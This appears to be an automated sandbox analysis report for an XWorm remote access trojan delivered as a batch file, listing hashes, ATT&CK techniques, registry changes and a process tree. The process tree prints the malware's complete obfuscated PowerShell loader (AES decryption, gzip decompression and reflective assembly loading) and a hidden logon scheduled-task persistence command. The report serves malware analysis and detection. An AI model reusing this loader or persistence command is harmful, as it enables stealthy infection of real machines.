xworm | 2b0fa86f46148d25d365085a021a9b836e34275955ca0446723553bbcf388ac0

Analysis

max time kernel
11s
max time network
17s
platform
windows11-21h2_x64
resource
win11-20250218-en
resource tags

arch:x64arch:x86image:win11-20250218-enlocale:en-usos:windows11-21h2-x64system
submitted
08/03/2025, 00:09

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General

Target

RedwareTemp.bat
Size

548KB
MD5

73c36e7e75e989f8b1e5dd4e9a1b493d
SHA1

af5bf582a6d1b424355f8af579b8f202fbe4b834
SHA256

2b0fa86f46148d25d365085a021a9b836e34275955ca0446723553bbcf388ac0
SHA512

5c95fcfb41ca505ca2a9d7d0f11d4e57831bfabd5e1c741c6bf26b0b2a89e36524cca53e6eff3ad7ccac14c0030ab0fc76581275ee8acfe0304be216a6e6ec44
SSDEEP

12288:FTiR+PqY3LWerg7f9AqvSU84kI3Hu+MoovimheIBVXMTT:RhAfcidQ6mEy8P

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Attributes

install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3264-150-0x0000000003D70000-0x0000000003D82000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1672	powershell.exe
3596	powershell.exe
1360	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4064	RedwareTemp.exe

Enumerates connected drives 3 TTPs 2 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\D:	explorer.exe
File opened (read-only)	\??\F:	explorer.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 18 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\HAM\AUI\App\V1\LU	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PTT = "133858661891984509"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData	svchost.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-2287204051-441334380-1151193565-1000\{CD976278-C9E3-471F-8822-5734B023468B}	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\HAM\AUI	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\HAM\AUI\App	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\HAM\AUI\App\V1	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings	powershell.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\HAM\AUI\App\V1\LU\PCT = "133843453184880782"	svchost.exe
Key created	\REGISTRY\USER\S-1-5-21-2287204051-441334380-1151193565-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
1672	powershell.exe
1672	powershell.exe
3596	powershell.exe
3596	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
4064	RedwareTemp.exe
4064	RedwareTemp.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe
3872	svchost.exe
3872	svchost.exe
1360	powershell.exe
1360	powershell.exe
1360	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeIncreaseQuotaPrivilege	3596	powershell.exe
Token: SeSecurityPrivilege	3596	powershell.exe
Token: SeTakeOwnershipPrivilege	3596	powershell.exe
Token: SeLoadDriverPrivilege	3596	powershell.exe
Token: SeSystemProfilePrivilege	3596	powershell.exe
Token: SeSystemtimePrivilege	3596	powershell.exe
Token: SeProfSingleProcessPrivilege	3596	powershell.exe
Token: SeIncBasePriorityPrivilege	3596	powershell.exe
Token: SeCreatePagefilePrivilege	3596	powershell.exe
Token: SeBackupPrivilege	3596	powershell.exe
Token: SeRestorePrivilege	3596	powershell.exe
Token: SeShutdownPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeSystemEnvironmentPrivilege	3596	powershell.exe
Token: SeRemoteShutdownPrivilege	3596	powershell.exe
Token: SeUndockPrivilege	3596	powershell.exe
Token: SeManageVolumePrivilege	3596	powershell.exe
Token: 33	3596	powershell.exe
Token: 34	3596	powershell.exe
Token: 35	3596	powershell.exe
Token: 36	3596	powershell.exe
Token: SeIncreaseQuotaPrivilege	3596	powershell.exe
Token: SeSecurityPrivilege	3596	powershell.exe
Token: SeTakeOwnershipPrivilege	3596	powershell.exe
Token: SeLoadDriverPrivilege	3596	powershell.exe
Token: SeSystemProfilePrivilege	3596	powershell.exe
Token: SeSystemtimePrivilege	3596	powershell.exe
Token: SeProfSingleProcessPrivilege	3596	powershell.exe
Token: SeIncBasePriorityPrivilege	3596	powershell.exe
Token: SeCreatePagefilePrivilege	3596	powershell.exe
Token: SeBackupPrivilege	3596	powershell.exe
Token: SeRestorePrivilege	3596	powershell.exe
Token: SeShutdownPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeSystemEnvironmentPrivilege	3596	powershell.exe
Token: SeRemoteShutdownPrivilege	3596	powershell.exe
Token: SeUndockPrivilege	3596	powershell.exe
Token: SeManageVolumePrivilege	3596	powershell.exe
Token: 33	3596	powershell.exe
Token: 34	3596	powershell.exe
Token: 35	3596	powershell.exe
Token: 36	3596	powershell.exe
Token: SeIncreaseQuotaPrivilege	3596	powershell.exe
Token: SeSecurityPrivilege	3596	powershell.exe
Token: SeTakeOwnershipPrivilege	3596	powershell.exe
Token: SeLoadDriverPrivilege	3596	powershell.exe
Token: SeSystemProfilePrivilege	3596	powershell.exe
Token: SeSystemtimePrivilege	3596	powershell.exe
Token: SeProfSingleProcessPrivilege	3596	powershell.exe
Token: SeIncBasePriorityPrivilege	3596	powershell.exe
Token: SeCreatePagefilePrivilege	3596	powershell.exe
Token: SeBackupPrivilege	3596	powershell.exe
Token: SeRestorePrivilege	3596	powershell.exe
Token: SeShutdownPrivilege	3596	powershell.exe
Token: SeDebugPrivilege	3596	powershell.exe
Token: SeSystemEnvironmentPrivilege	3596	powershell.exe
Token: SeRemoteShutdownPrivilege	3596	powershell.exe
Token: SeUndockPrivilege	3596	powershell.exe
Token: SeManageVolumePrivilege	3596	powershell.exe
Token: 33	3596	powershell.exe
Token: 34	3596	powershell.exe
Token: 35	3596	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
4012	explorer.exe
4012	explorer.exe
4012	explorer.exe

Suspicious use of SendNotifyMessage 9 IoCs

pid	Process
4012	explorer.exe
4012	explorer.exe
4012	explorer.exe
4012	explorer.exe
4012	explorer.exe
4012	explorer.exe
4012	explorer.exe
4012	explorer.exe
4012	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2708 wrote to memory of 1392	2708	cmd.exe	86
PID 2708 wrote to memory of 1392	2708	cmd.exe	86
PID 2708 wrote to memory of 1672	2708	cmd.exe	87
PID 2708 wrote to memory of 1672	2708	cmd.exe	87
PID 1672 wrote to memory of 3596	1672	powershell.exe	88
PID 1672 wrote to memory of 3596	1672	powershell.exe	88
PID 1672 wrote to memory of 1884	1672	powershell.exe	92
PID 1672 wrote to memory of 1884	1672	powershell.exe	92
PID 1884 wrote to memory of 844	1884	WScript.exe	93
PID 1884 wrote to memory of 844	1884	WScript.exe	93
PID 844 wrote to memory of 4376	844	cmd.exe	95
PID 844 wrote to memory of 4376	844	cmd.exe	95
PID 844 wrote to memory of 1360	844	cmd.exe	96
PID 844 wrote to memory of 1360	844	cmd.exe	96
PID 1360 wrote to memory of 3264	1360	powershell.exe	53
PID 1360 wrote to memory of 2560	1360	powershell.exe	42
PID 1360 wrote to memory of 1768	1360	powershell.exe	30
PID 1360 wrote to memory of 2552	1360	powershell.exe	41
PID 1360 wrote to memory of 1616	1360	powershell.exe	27
PID 1360 wrote to memory of 1076	1360	powershell.exe	69
PID 1360 wrote to memory of 2152	1360	powershell.exe	38
PID 1360 wrote to memory of 2740	1360	powershell.exe	46
PID 1360 wrote to memory of 1156	1360	powershell.exe	17
PID 1360 wrote to memory of 948	1360	powershell.exe	11
PID 1360 wrote to memory of 1932	1360	powershell.exe	34
PID 1360 wrote to memory of 1732	1360	powershell.exe	29
PID 1360 wrote to memory of 1924	1360	powershell.exe	33
PID 1360 wrote to memory of 3520	1360	powershell.exe	72
PID 1360 wrote to memory of 4352	1360	powershell.exe	63
PID 1360 wrote to memory of 1712	1360	powershell.exe	28
PID 1360 wrote to memory of 4072	1360	powershell.exe	82
PID 1360 wrote to memory of 1508	1360	powershell.exe	25
PID 1360 wrote to memory of 1112	1360	powershell.exe	35
PID 1360 wrote to memory of 1896	1360	powershell.exe	32
PID 1360 wrote to memory of 4396	1360	powershell.exe	75
PID 1360 wrote to memory of 764	1360	powershell.exe	14
PID 1360 wrote to memory of 2668	1360	powershell.exe	44
PID 1360 wrote to memory of 3452	1360	powershell.exe	55
PID 1360 wrote to memory of 1480	1360	powershell.exe	24
PID 1360 wrote to memory of 1084	1360	powershell.exe	16
PID 1360 wrote to memory of 3016	1360	powershell.exe	51
PID 1360 wrote to memory of 3440	1360	powershell.exe	54
PID 1360 wrote to memory of 1268	1360	powershell.exe	22
PID 1360 wrote to memory of 1256	1360	powershell.exe	21
PID 1360 wrote to memory of 1248	1360	powershell.exe	20
PID 1360 wrote to memory of 1836	1360	powershell.exe	31
PID 1360 wrote to memory of 1244	1360	powershell.exe	36
PID 1360 wrote to memory of 1044	1360	powershell.exe	15
PID 1360 wrote to memory of 2224	1360	powershell.exe	39
PID 1360 wrote to memory of 3996	1360	powershell.exe	61
PID 1360 wrote to memory of 4388	1360	powershell.exe	66
PID 1360 wrote to memory of 1432	1360	powershell.exe	23
PID 1360 wrote to memory of 2404	1360	powershell.exe	40
PID 1360 wrote to memory of 2596	1360	powershell.exe	43
PID 1360 wrote to memory of 820	1360	powershell.exe	8
PID 1360 wrote to memory of 4364	1360	powershell.exe	67
PID 1360 wrote to memory of 1600	1360	powershell.exe	26
PID 1360 wrote to memory of 1008	1360	powershell.exe	12
PID 1360 wrote to memory of 1200	1360	powershell.exe	19
PID 1360 wrote to memory of 2768	1360	powershell.exe	48
PID 1360 wrote to memory of 1584	1360	powershell.exe	81
PID 1360 wrote to memory of 1188	1360	powershell.exe	18
PID 1360 wrote to memory of 2748	1360	powershell.exe	47
PID 1360 wrote to memory of 3264	1360	powershell.exe	53

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p
1⤵
- Modifies registry class
PID:820
- C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
  "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
  2⤵
  PID:4932
- C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
  "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
  2⤵
  PID:4936

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k RPCSS -p
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:1008

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1044

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1084

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p
1⤵
PID:1156

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1188

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1200

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1256

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1480

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1600

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1712

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1732

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1768

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1836

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1932

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:1112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1244

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p
1⤵
PID:2152

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2224

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2404

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2552

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2560

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:2596

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2668

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:2740

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3016

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3264
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\RedwareTemp.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('olj6lNDH9BP9+WoXhpaGp14B/+RuhRlVS9vcmbQmtAw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+5d9Zu+yF4iwq9mJwhaRdw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dPZnK=New-Object System.IO.MemoryStream(,$param_var); $OVsRl=New-Object System.IO.MemoryStream; $Lntcu=New-Object System.IO.Compression.GZipStream($dPZnK, [IO.Compression.CompressionMode]::Decompress); $Lntcu.CopyTo($OVsRl); $Lntcu.Dispose(); $dPZnK.Dispose(); $OVsRl.Dispose(); $OVsRl.ToArray();}function execute_function($param_var,$param2_var){ $rQsSK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fhwRv=$rQsSK.EntryPoint; $fhwRv.Invoke($null, $param2_var);}$qkzrl = 'C:\Users\Admin\AppData\Local\Temp\RedwareTemp.bat';$host.UI.RawUI.WindowTitle = $qkzrl;$KRqly=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qkzrl).Split([Environment]::NewLine);foreach ($NNMBM in $KRqly) { if ($NNMBM.StartsWith('AyaGWreXdjmRZwIZSJRC')) { $nXbFi=$NNMBM.Substring(20); break; }}$payloads_var=[string[]]$nXbFi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:1392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1672
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_872_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_872.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3596
  - - C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_872.vbs"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1884
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_872.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:844
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('olj6lNDH9BP9+WoXhpaGp14B/+RuhRlVS9vcmbQmtAw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+5d9Zu+yF4iwq9mJwhaRdw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dPZnK=New-Object System.IO.MemoryStream(,$param_var); $OVsRl=New-Object System.IO.MemoryStream; $Lntcu=New-Object System.IO.Compression.GZipStream($dPZnK, [IO.Compression.CompressionMode]::Decompress); $Lntcu.CopyTo($OVsRl); $Lntcu.Dispose(); $dPZnK.Dispose(); $OVsRl.Dispose(); $OVsRl.ToArray();}function execute_function($param_var,$param2_var){ $rQsSK=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $fhwRv=$rQsSK.EntryPoint; $fhwRv.Invoke($null, $param2_var);}$qkzrl = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_872.bat';$host.UI.RawUI.WindowTitle = $qkzrl;$KRqly=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qkzrl).Split([Environment]::NewLine);foreach ($NNMBM in $KRqly) { if ($NNMBM.StartsWith('AyaGWreXdjmRZwIZSJRC')) { $nXbFi=$NNMBM.Substring(20); break; }}$payloads_var=[string[]]$nXbFi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:4376
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1360
        
        C:\Users\Admin\AppData\Local\Temp\RedwareTemp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RedwareTemp.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:4064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:3452

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:3996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4352

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:4388

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4364

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1076

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:3520

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:4396

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
PID:1584

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:4072

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --string-annotations --always-read-main-dll --field-trial-handle=5396,i,510155214614128252,14857291624332394009,262144 --variations-seed-version --mojo-platform-channel-handle=5480 /prefetch:14
1⤵
PID:3028

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious behavior: EnumeratesProcesses
PID:3872

C:\Windows\explorer.exe
explorer.exe
1⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Filesize
340B

MD5
ca1da441ef9a5b624c588b7e4edcfd1a

SHA1
4f3971843cecf5786a4ba74de97ee8521cd586a6

SHA256
0ed1dbc08402a5ab6a700a51508393364c57c47bc4298fea70cf7d43560e7a9f

SHA512
